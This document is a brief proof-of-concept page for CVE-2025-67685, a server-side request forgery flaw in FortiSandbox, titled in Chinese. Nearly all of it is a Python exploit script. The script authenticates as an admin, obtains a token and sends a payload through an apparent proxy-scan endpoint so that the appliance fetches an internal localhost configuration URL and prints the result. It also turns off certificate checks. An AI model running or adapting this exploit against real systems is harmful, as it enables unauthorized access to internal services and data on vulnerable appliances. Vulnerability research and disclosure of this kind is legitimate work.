CVE-2025-67685 FortiSandbox SSRF服务器端请求伪造漏洞

import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CVE-2025-67685 PoC - SSRF in FortiSandbox # Target: FortiSandbox < 5.0.5 TARGET = "https://<fortisandbox-ip>/" LOGIN_URL = TARGET + "api/v1/user/login" SSRF_URL = TARGET + "api/v1/scan/http-proxy" session = requests.Session() # Step 1: Authenticate with high-privilege account login_data = { "username": "admin", "password": "<password>" } response = session.post(LOGIN_URL, json=login_data, verify=False) token = response.json().get("token") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 2: Exploit SSRF to access internal plaintext endpoint ssrf_payload = { "url": "http://127.0.0.1:8080/internal/api/config", "method": "GET", "headers": {} } response = session.post(SSRF_URL, json=ssrf_payload, headers=headers, verify=False) print(f"SSRF Response: {response.status_code}") print(f"Content: {response.text}") # Note: This PoC demonstrates the SSRF vulnerability concept. # Actual exploitation requires valid credentials with high privileges. # Target internal endpoints vary based on deployment configuration.